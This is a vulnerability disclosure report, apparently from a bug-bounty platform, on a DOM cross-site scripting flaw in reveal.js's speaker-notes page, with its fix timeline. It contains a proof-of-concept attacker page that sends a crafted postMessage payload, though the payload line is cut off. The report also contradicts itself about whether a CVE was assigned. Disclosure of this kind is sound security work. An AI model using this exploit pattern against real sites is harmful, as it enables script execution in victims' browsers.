Cross-site Scripting (XSS) - DOM in hakimel/reveal.js

3

Valid Reported on Feb 4th 2022

Description

The `onmessage` event listener in `/plugin/notes/speaker-view.html` does not check the origin of postMessage before adding the content to the webpage. The vulnerable code allows any origin to postMessage on the browser window and feeds attacker's input to parts using which attacker can execute arbitrary javascript code on victim's browser window hosting reveal.js
Video PoC: https://drive.google.com/file/d/1HVlEnmLJTjHJ5VGgz8CBdEXB7FXtomkv/view

Proof of Concept

STEP 1: Run `npm start`
STEP 2: Attacker hosts the following code on his website.
NOTE: Please change `TARGET` in the code

```
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>Exploit reveal.js XSS</title>
</head>
<body>

<script type="text/javascript">

    var TARGET = "http://localhost:8000/plugin/notes/speaker-view.html";

    window.poc = window.open(TARGET);

    var PAYLOAD = `{"namespace":"reveal-notes", "type": "connect", "url":"-

    setTimeout(function () {window.poc.postMessage(PAYLOAD,'*')},5000);
```

```
</script>


</body>
</html>
```

STEP 3: Victim visits attacker's website and XSS pop-up will show domain name.

Impact

Attacker can execute arbitrary javascript code in the victim's browser

CVE
CVE-2022-0776
(Published)

Vulnerability Type
CWE-79: Cross-site Scripting (XSS) - DOM

Severity
Medium (5.3)

Visibility
Public

Status
Fixed

Found by

Rohan Sharma
@r0hansh
unranked

This report was seen 716 times.

We are processing your report and will contact the **hakimel/reveal.js** team within 24 hours.
10 months ago

We have contacted a member of the **hakimel/reveal.js** team and are waiting to hear back
10 months ago

We have sent a follow up to the **hakimel/reveal.js** team. We will try again in 7 days. 10 months ago

We have sent a second follow up to the **hakimel/reveal.js** team. We will try again in 10 days. 9 months ago

We have sent a third and final follow up to the **hakimel/reveal.js** team. This report is now considered stale. 9 months ago

Rohan Sharma 9 months ago Researcher

Fix has been approved by the Hakim (maintainer)
https://github.com/hakimel/reveal.js/pull/3137

hakimel validated this vulnerability 9 months ago

Rohan Sharma has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

hakimel marked this as fixed in **4.3.0** with commit **32cdd3** 9 months ago

The fix bounty has been dropped ✖

This vulnerability will not receive a CVE ✖

Sign in to join this conversation